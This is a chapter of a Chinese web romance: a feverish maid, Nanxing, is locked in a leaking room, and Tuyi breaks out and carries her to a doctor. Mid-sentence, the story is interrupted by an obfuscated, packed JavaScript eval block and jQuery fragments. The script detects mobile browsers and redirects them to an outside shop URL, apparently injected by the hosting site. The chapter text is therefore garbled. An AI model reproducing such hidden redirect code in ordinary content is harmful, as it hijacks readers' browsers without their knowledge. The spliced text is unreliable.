10. 第10章

作品:《我真没暗恋你啊

    南星迷迷糊糊中,感觉自己又冷又热的。


    她感觉自己好像变成了大烤炉,但却泡在冰冷的水里,热气和冷意不断相侵,难受极了。


    她蹙着秀眉,大脑一片混沌,不舒服地哼唧几声,想翻个身,可刚抬起手,便触到一片冰冷的水渍。


    这阵凉意令她一惊,下意识睁开眼睛,可沉重的眼皮犹如千斤顶压在她眼球上,待她好不容易撕开眼皮,半撑起身子昏昏沉沉地坐起来,才发现身上的毯子又重又冷。


    黑夜中,滚滚闷雷声一阵接着一阵,雨滴淅淅沥沥敲落在屋檐上,寒意直浸入人心里。


    南星呆愣愣地坐了会儿,恍然发觉那雨水不仅落到了房顶,还滴落在自己脸上!


    她伸手抹了把滚烫的脸,手忙脚乱地起来,才发现自己盖的旧毯、身下全都一片濡湿。


    这、这,这屋顶漏雨!


    她想挪到干净的地方,可刚起身便觉得头重脚轻,一阵眩晕袭来,她只得立马抓住了身边的东西靠过去。


    这下不用想也知道,她发烧了。


    南星正喘着粗气,谁知身旁的“东西”竟然发出了沙哑未醒的声音:“你又干什么?”


    南星一惊,抬起头去看,才发现她抓着的竟然是荼翼。


    她瓮声瓮气道:“你……你什么时候过来的?”


    黑暗中,南星感觉他好像无语地嗤了一声:“你鼻音怎么这么重?”


    南星晃了晃脑袋,有力无气道:“屋顶漏雨,我发烧了。”


    荼翼顿了一会儿,手伸过来碰了碰她的额头,又摸了摸她这边的旧毯。


    他声音疑惑:“奇怪,怎么刚好全漏你那边?”


    南星:?


    她也抬起手抹了一把他的衣服,干燥无比,一点儿没湿!


    南星不可置信。不是,这雨露一点儿都没均沾,全降给她了?


    荼翼在旁边幸灾乐祸地低低笑起来,南星气结,抓起沉重的旧毯一阵摸索,果然摸到一块没湿的部分。


    所以荼翼悄摸过来蹭她的毯子就算了,还恰好没被淋到雨?!


    她用干燥的那块擦拭自己湿黏的衣裳,可那么一小块地方怎么可能擦得干净?南星顿时气恼道:“把你衣服脱下来。”


    荼翼收了声,语气疑惑:“你这是什么要求?”


    “脱了给我擦衣服啊!”


    可谁知他不仅没照做,还拢了拢衣领:“那我衣服不也湿了么?难道你想我也像你一样发高热?”


    南星怒不可遏,也不管那些虚礼了,扑过去扒他衣服:“要不是你,我怎么会被关在这儿,还淋了雨?!”


    荼翼本想多逗她一会儿,却没想到她会直接扑过来,下意识挡过去,耳尖悄无声息红了:“你,你女流氓啊!”


    ……


    顷刻后,荼翼瞥了一眼缩成一团的小丫鬟,轻哼一声,把自己皱巴巴半湿的外袍捡起来抖落干净,晾在了一旁。


    他可不想明天出去的时候让外面的人误会什么。


    南星无精打采地蜷缩在地上,虽然方才已经仔仔细细擦拭了一遍,可身上仍黏糊糊的难受,方才一番争抢还让她出了一身热汗,更觉昏昏沉沉的,整个人好似漂浮在空中一样。


    她甩了甩脑袋,试图让自己清醒一会儿,可脑袋里好似装满了浓浆,更觉迷糊。


    今天绝对是她最倒霉的一天,她委屈地想。


    先是差点儿被马甩下来,接着被刘禄骚扰,现在又莫名其妙和荼翼被人关在这里,她还发了烧,神志不清。


    难道她今年犯了太岁么?怎么处处不顺心?


    等出去了,她一定要狠狠地跟姑姑还有夫人告状,然后好好拜拜菩萨,除一除自己一身的秽气。


    外面的雨下一阵歇一阵,南星听着雨声,只觉得头越来越重,不知不觉中又睡过去。


    许是被这场雨弄得实在太郁闷,她梦中竟然也是漫天汹涌的雨水。


    梦里下着瓢泼大雨,倒灌成河。


    她变成了幼时的模样,在水中深一脚浅一脚地走着。


    天色暗沉,白昼如同黑夜,府里的奴婢们一盆接一盆地从屋里舀水倒出去,这时大门忽然被人撞开,淋成落汤鸡的几个人抬着妇人艰难地淌着水进来。


    “船被洪水冲翻了,夫人落到水里,快,去请府医!”


    南星看着神情焦急的人们从她面前急趋而过,无人注意到站在廊下小小的她。


    然而一个步伐匆匆的嬷嬷忽然在南星面前停下,伸手把她抱起来。


    雨水从嬷嬷恸悯的脸上蜿蜒而过,嬷嬷望着她,嘴唇抖动,勉强对她笑着道:“外面雨大,快进去找小公子玩儿。”


    南星用稚嫩的嗓音问她:“爹爹和阿娘呢?”


    人声嘈杂,她听不清嬷嬷说了什么;天色越来越黑,她也看不清嬷嬷的脸。


    ……


    “爹爹,阿娘……”她情不自禁轻呓出声。


    不远处闭目养神的男人闻言轻轻睁开了眼。


    他看向蜷成小小一团的人,目光里渐渐显出几分打量。


    “阿娘,救阿娘……”南星紧闭着眼,语气十分焦急。


    荼翼眸光一闪,起身过去。


    小丫鬟的脑袋靠在膝盖上,一对眉头狠狠皱起,似乎是做了不好的梦,神情看起来十分不安。


    荼翼微微倾身靠近,一错不错地盯着她,语气低柔,带着几分哄诱:“你阿娘怎么了,为什么要救她?”


    南星眼珠快速转动,嘴里不停重复着方才的话语,而荼翼也难得没有不耐烦,坚持低声宽慰引导她。


    “是不是有人要害你阿娘?告诉我。”荼翼在她耳边轻语。


    小丫鬟鼻尖翕动,神情逐渐变得悲恸起来,似乎藏了很久的心事即将破土而出。荼翼见状屏住呼吸,凑近耳朵聚精会神。


    不知不觉间,南星挺翘的鼻头已经通红,眼睫湿润,随着晶莹的泪珠滑落,唇瓣再也忍不住似的委屈瘪起,呛哭出声:“阿娘,我好想你!”


    荼翼顿住,许久,侧过头看她。


    她像是受了天大的委屈,呜呜咽咽地哭着,泪珠也像雨一般不停往外掉。


    荼翼抽身离远,神情有几分不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16779808|190352||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    耐。


    过了很久,他转过头来,小丫鬟仍闭着眼小声哭着,眼眸哭得通红,本就因为高烧而红烫的脸这下更是成了一颗红苹果。


    啧。


    真是败给你了!


    荼翼泄气似的重新过来,胡乱抹掉她脸上的泪,可却被惊人的体温烫得手指下意识一颤。


    他脑海里立马浮现出她方才扑过来时的那一句:“要不是你,我怎么会被关在这儿,还淋了雨?!”


    荼翼顿了一瞬,接着便扯过一旁的衣袍将人盖住,毫不犹豫地将她翻抱而起,径直走向窗边。


    他腾出一只手劈掌而去,那原本钉死的木窗顷刻间四分五裂,荼翼便抱着人轻巧地跳出去。


    黑夜中,他在屋顶间起起伏伏,雨仍淅淅沥沥地下着,但他周身却像有一层无形的结界,雨水无法沾湿他们半毫。


    荼翼抱着小丫鬟向西边而去,大约半刻钟后,他在一处府邸内落了下来。


    家丁原本靠着门壁睡得香甜,下一刻门就被人踹开,他顿时摔了个屁股墩儿,龇牙咧嘴地爬起来。


    “谁啊!让不让人……涂,涂公子?”


    昏黄的灯光下,一道挺拔颀长的身影从他面前经过,踏进了屋子。奇怪的是,他怀里似乎抱着一个人,只是用衣袍裹得严严实实,看不真切具体如何。


    “去找个大夫来。”荼翼不容置喙道。


    “哦…哦,这就去。”家丁回过神,喏喏点头,立马转身往外跑。


    一刻钟后,纪空尘跟着大夫一起来了。


    大夫正施针救治,纪空尘看了一眼榻上面色红润的年轻丫鬟,挑眉望向兀自坐在一边饮茶的男人。


    “看不出来啊,铁树开花了?”


    荼翼面色不为所动,叮嘱大夫:“退烧后给她喂一碗安神药。”


    “啧啧啧。”纪空尘神情更加意味深长,在他面前坐下来:“真是没想到,洁身自好的涂公子竟然也是个痴情种啊。”


    荼翼抬眸瞥他一眼:“你要是想被发现,那就尽管放任她醒来。”


    纪空尘仍是那副不着调的表情:“说说看,遇上什么事了?”


    荼翼从鼻腔里轻哼一声,十分漫不经心:“不过一个小哈喽设了个拙劣的局。”


    纪空尘闻言挑眉,转头看了一眼榻上闭眼躺着的丫鬟,又看向他,神情不言而喻。


    荼翼轻嗤:“她是无故被牵连进来的。”


    纪空尘拖着腔调,意味不明地哦了一声。


    谈话间,榻上躺着的原本满脸通红滚烫的小姑娘此刻已经逐渐恢复正常,神情平静,呼吸也渐渐绵长。


    大夫施完针,过来禀告:“她是因为一时受凉才起了高烧,只要退了烧后便无大碍,公子不必担心。”


    荼翼淡淡点头,对候在一边的婢女道:“待会儿你把她衣裳烘干,不必给她换新的。”


    纪空尘见此,眼里更加闪烁气一阵莫名的光,但他没有继续追问,转而问道:“你接下来打算如何?”


    这话一出,荼翼竟莫名笑了:“我打算如何?当然是看她如何打算了。”